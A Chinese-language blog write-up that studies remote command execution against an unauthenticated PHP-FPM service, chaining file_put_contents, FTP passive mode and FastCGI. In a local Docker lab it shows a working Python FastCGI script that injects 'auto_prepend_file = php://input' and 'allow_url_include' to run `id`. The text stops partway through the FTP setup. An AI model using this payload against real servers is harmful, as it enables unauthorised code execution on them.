序
在阅读Laravel debug rce[1]的文章时,感叹文章中的技巧之余,有一句话引起了我的注意。
It is well-known that, if you can send an arbitrary binary packet to the PHP-FPM service, you can execute code on the machine.
众所周知,我不知呀!
本文学习file_put_contents + FTP + php-fpm的命令执行。
原理
参考[2],我们可以得知,PHP-FPM未授权访问时,可以通过修改变量auto_prepend_file或auto_append_file来执行文件。
根据[1]中描述,我们需要让file_put_contents时,将结果写到php-fpm,这样造成命令执行。
实验
php-fpm命令执行
docker起一个php-fpm的环境
docker pull wyveo/nginx-php-fpm
docker run -d wyveo/nginx-php-fpm
利用pyfcgiclient来发送fastcgi数据包
from pyfcgiclient.fpm import FPM
phpfpm = FPM(
host='127.0.0.1',
port=9000,
sock="/run/php/php8.0-fpm.sock",
document_root='/usr/share/nginx/html'
)
post_string = '<?php echo `id`;phpinfo(); exit();?>'
status_header, headers, output, error_message = phpfpm.load_url(
url='/index.php?a=b',
content=post_string,
remote_addr='127.0.0.1',
cookies='c=d;e=f;'
)
print(output)
由于有些参数我们没办法直接修改,就直接修改pyfcgiclient里面的文件。在pyfcgiclient的fpm.py的env中增加PHP_VALUE和PHP_ADMIN_VALUE
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On',
同时修改flup_fcgi_client.py中的_environPrefixes,增加PHP_
_environPrefixes = ['SERVER_', 'HTTP_', 'REQUEST_', 'REMOTE_', 'PATH_',
'CONTENT_', 'DOCUMENT_', 'SCRIPT_','PHP_']
docker exec进入容器,下载对应文件,python执行,成功执行phpinfo。到这里,我们成功对php-fpm发包执行命令了。不过这里使用的是socket文件,不是ip+port的方式。后面我们需要修改配置。
ftp passive mode
ftp passive mode[4]
In the passive mode, the client uses the control connection to send a PASV command to the server and then receives a server IP address and server port number from the server, which the client then uses to open a data connection to the server IP address and server port number received.
我们试一下ftp passive mode。
使用pyftpdlib测试,basic_ftpd.py,
我们设置passive_mode的ip和port,同时在php容器里面nc监听9000端口(为方便演示实验,缺少的bin文件都先准备好,如nc,lsof,xxd等)
handler.masquerade_address